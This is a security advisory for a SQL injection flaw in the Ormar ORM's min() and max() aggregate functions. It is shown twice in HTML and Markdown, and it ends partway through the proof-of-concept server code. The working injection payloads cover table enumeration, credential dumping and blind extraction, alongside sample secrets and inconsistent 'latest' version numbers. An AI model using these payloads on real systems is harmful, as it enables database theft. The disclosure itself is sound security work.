# Report of SQL Injection Vulnerability in Ormar ORM
## A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.
## Brief description
When performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.
## Affected versions
```
0.9.9 - 0.12.2
0.20.0b1 - 0.22.0 (latest)
```
The vulnerable `SelectAction.get_text_clause()` method and the `min()`/`max()` aggregate functions were introduced together in commit `ff9d412` (March 12, 2021) and first released in version **0.9.9**. The vulnerable code has never been modified since — `get_text_clause()` is identical in every subsequent version through the latest **0.21.0**.
Versions prior to 0.9.9 do not contain the `min()`/`max()` aggregate feature and are not affected.
The following uses the latest ormar 0.21.0 as an example to illustrate the attack.
## Vulnerability details
When performing an aggregate query, the `QuerySet.max()` method (line 721, `queryset.py`) passes user input to `_query_aggr_function()`. This method creates a `SelectAction` object for each column name. The column string is split by `__` and the last part becomes `self.field_name` — with no validation against the model's actual fields.
The critical vulnerability is in `SelectAction.get_text_clause()` (line 41-43, `select_action.py`), which directly passes `self.field_name` into `sqlalchemy.text()`:
```python
#select_action.py line 41-43
def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
alias = f"{self.table_prefix}_" if self.table_prefix else ""
return sqlalchemy.text(f"{alias}{self.field_name}") # unsanitised user input!
```
The `apply_func()` method then wraps this raw text clause inside `func.max()`, producing SQL like `max(<attacker_input>)`. Since `sqlalchemy.text()` treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.
The `_query_aggr_function()` method (line 704-719, `queryset.py`) only validates field types for `sum` and `avg`, leaving `min` and `max` completely unprotected:
```python
#queryset.py line 704-719
async def _query_aggr_function(self, func_name: str, columns: List) -> Any:
func = getattr(sqlalchemy.func, func_name)
select_actions = [
SelectAction(select_str=column, model_cls=self.model) for column in columns
]
if func_name in ["sum", "avg"]: # <-- only sum/avg are checked!
if any(not x.is_numeric for x in select_actions):
raise QueryDefinitionError(...)
select_columns = [x.apply_func(func, use_label=True) for x in select_actions]
expr = self.build_select_expression().alias(f"subquery_for_{func_name}")
expr = sqlalchemy.select(*select_columns).select_from(expr)
result = await self.database.fetch_one(expr)
return dict(result) if len(result) > 1 else result[0]
```
To reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.
Note: The PoC consists of two files provided in the attachments — `poc_server.py` (the vulnerable server) and `poc_attacker.py` (the HTTP-based attacker script).
<h2>Start the vulnerable application</h2>
<ol>
<li>Install dependencies:</li>
</ol>
<pre><code class="language-bash">pip install ormar databases aiosqlite fastapi uvicorn httpx
</code></pre>
<ol>
<li>The vulnerable server (<code>poc_server.py</code>) is based on the <strong>official ormar FastAPI example</strong> (<a href="https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py">ormar/examples/fastapi_quick_start.py</a>). The only modification is the addition of a <code>/items/stats</code> endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.</li>
</ol>
<p>The server defines three models:</p>
<ul>
<li><code>Category</code> and <code>Item</code> — from the official ormar example (unchanged)</li>
<li><code>AdminUser</code> — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API</li>
</ul>
<p>The vulnerable endpoint:</p>
<pre><code class="language-python"># Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
</code></pre>
<p>The database contains:</p>
Table | Data
-- | --
categories | Electronics
items | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99)
admin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod
| deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci
<p>The <code>admin_users</code> table is <strong>NOT</strong> exposed via any API endpoint.</p>
<h2>The attack steps</h2>
<p>The PoC requires two terminals:</p>
<p><strong>Terminal 1</strong> — Start the vulnerable server:</p>
<pre><code class="language-bash">python poc_server.py
</code></pre>
<p><strong>Terminal 2</strong> — Run the attacker script:</p>
<pre><code class="language-bash">python poc_attacker.py
</code></pre>
<p>The attacker script (<code>poc_attacker.py</code>) sends HTTP requests to the running server. It has <strong>NO prior knowledge</strong> of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single <code>/items/stats</code> endpoint.</p>
<h2>Principle of vulnerability exploitation</h2>
<h3>1. The attacker confirms injection by sending an arithmetic expression</h3>
<p>The attacker sends <code>GET /items/stats?metric=max&column=1+1</code>. The data flow is:</p>
<pre><code>HTTP request: GET /items/stats?metric=max&column=1+1
↓
item_stats(metric="max", column="1+1") # poc_server.py
↓
Item.objects.max("1+1") # queryset.py:721
↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
↓
SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22
↓
_split_value_into_parts("1+1") → self.field_name = "1+1"
↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
↓
get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43
↓
apply_func(sqlalchemy.func.max) → max(1+1)
</code></pre>
<p>Generated SQL:</p>
<pre><code class="language-sql">SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
items.category AS category
FROM items) AS subquery_for_max
</code></pre>
<p>The API returns <code>{"metric":"max","column":"1+1","result":2}</code>, confirming that the arithmetic expression was evaluated as SQL.</p>
<h3>2. The attacker enumerates database tables</h3>
<p>The attacker injects a subquery to read <code>sqlite_master</code>:</p>
<pre><code>GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')
</code></pre>
<p>Which internally calls:</p>
<pre><code class="language-python">await Item.objects.max(
"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)
</code></pre>
<p>Generated SQL:</p>
<pre><code class="language-sql">SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
</code></pre>
<p>The API returns <code>categories,admin_users,items</code>, revealing the hidden <code>admin_users</code> table.</p>
<h3>3. The attacker extracts the schema of the target table</h3>
<pre><code>GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')
</code></pre>
<p>The API returns the full <code>CREATE TABLE</code> statement, revealing column names: <code>username</code>, <code>password</code>, <code>api_key</code>.</p>
<h3>4. The attacker dumps all credentials in a single query</h3>
<pre><code>GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)
</code></pre>
<p>Generated SQL:</p>
<pre><code class="language-sql">SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
FROM admin_users))
AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
</code></pre>
<p>The API returns all credentials:</p>
<pre><code>root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci
</code></pre>
<h3>5. Blind boolean-based extraction (when results are not directly visible)</h3>
<p>Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:</p>
<pre><code>GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END
</code></pre>
<p>Which internally calls:</p>
<pre><code class="language-python"># "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
"CASE WHEN UNICODE(SUBSTR("
"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
"THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)
</code></pre>
<p>By iterating over each position with binary search, the full password <code>Sup3r$ecretP@ss!</code> is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).</p>
<h3>6. The attacker extracts the production API key</h3>
<pre><code>GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')
</code></pre>
<p>The API returns: <code>ak-9f8e7d6c5b4a3210-prod</code></p>
<p>All data was extracted through a single public API endpoint using only unauthenticated GET requests.</p>
<!-- notionvc: b3e8123b-0876-4c76-94f6-2281c6cbb3f0 -->## Start the vulnerable application
1. Install dependencies:
```bash
pip install ormar databases aiosqlite fastapi uvicorn httpx
```
1. The vulnerable server (`poc_server.py`) is based on the **official ormar FastAPI example** ([[ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a `/items/stats` endpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.
The server defines three models:
- `Category` and `Item` — from the official ormar example (unchanged)
- `AdminUser` — simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API
The vulnerable endpoint:
```python
# Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
```
The database contains:
| Table | Data |
| --- | --- |
| `categories` | Electronics |
| `items` | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |
| `admin_users` | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |
| | deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |
The `admin_users` table is **NOT** exposed via any API endpoint.
## The attack steps
The PoC requires two terminals:
**Terminal 1** — Start the vulnerable server:
```bash
python poc_server.py
```
**Terminal 2** — Run the attacker script:
```bash
python poc_attacker.py
```
The attacker script (`poc_attacker.py`) sends HTTP requests to the running server. It has **NO prior knowledge** of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single `/items/stats` endpoint.
## Principle of vulnerability exploitation
### 1. The attacker confirms injection by sending an arithmetic expression
The attacker sends `GET /items/stats?metric=max&column=1+1`. The data flow is:
```
HTTP request: GET /items/stats?metric=max&column=1+1
↓
item_stats(metric="max", column="1+1") # poc_server.py
↓
Item.objects.max("1+1") # queryset.py:721
↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
↓
SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22
↓
_split_value_into_parts("1+1") → self.field_name = "1+1"
↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
↓
get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43
↓
apply_func(sqlalchemy.func.max) → max(1+1)
```
Generated SQL:
```sql
SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
items.category AS category
FROM items) AS subquery_for_max
```
The API returns `{"metric":"max","column":"1+1","result":2}`, confirming that the arithmetic expression was evaluated as SQL.
### 2. The attacker enumerates database tables
The attacker injects a subquery to read `sqlite_master`:
```
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')
```
Which internally calls:
```python
await Item.objects.max(
"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)
```
Generated SQL:
```sql
SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
```
The API returns `categories,admin_users,items`, revealing the hidden `admin_users` table.
### 3. The attacker extracts the schema of the target table
```
GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')
```
The API returns the full `CREATE TABLE` statement, revealing column names: `username`, `password`, `api_key`.
### 4. The attacker dumps all credentials in a single query
```
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)
```
Generated SQL:
```sql
SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
FROM admin_users))
AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
```
The API returns all credentials:
```
root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci
```
### 5. Blind boolean-based extraction (when results are not directly visible)
Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:
```
GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END
```
Which internally calls:
```python
# "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
"CASE WHEN UNICODE(SUBSTR("
"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
"THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)
```
By iterating over each position with binary search, the full password `Sup3r$ecretP@ss!` is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).
### 6. The attacker extracts the production API key
```
GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')
```
The API returns: `ak-9f8e7d6c5b4a3210-prod`
All data was extracted through a single public API endpoint using only unauthenticated GET requests.
## The complete POC
### poc_server.py (Vulnerable Server)
Based on the official ormar FastAPI example ([[fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):
```python
"""
CVE PoC — Vulnerable Server
=============================
Based on the OFFICIAL ormar FastAPI example:
<https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py>
The only modification is the addition of a /items/stats endpoint (line 63-76),
which is a common pattern for any application that provides aggregate statistics.
Usage:
python poc_server.py
"""
# ── Original official example code (unchanged) ───────────────
# Source: ormar/examples/fastapi_quick_start.py
from contextlib import asynccontextmanager
from typing import List, Optional
import databases
import ormar
import sqlalchemy
import uvicorn
from fastapi import FastAPI, Query
DATABASE_URL = "sqlite:///poc_vuln.db"
ormar_base_config = ormar.OrmarConfig(
database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()
)
class Category(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="categories")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
class Item(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="items")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
price: float = ormar.Float(default=0)
category: Optional[Category]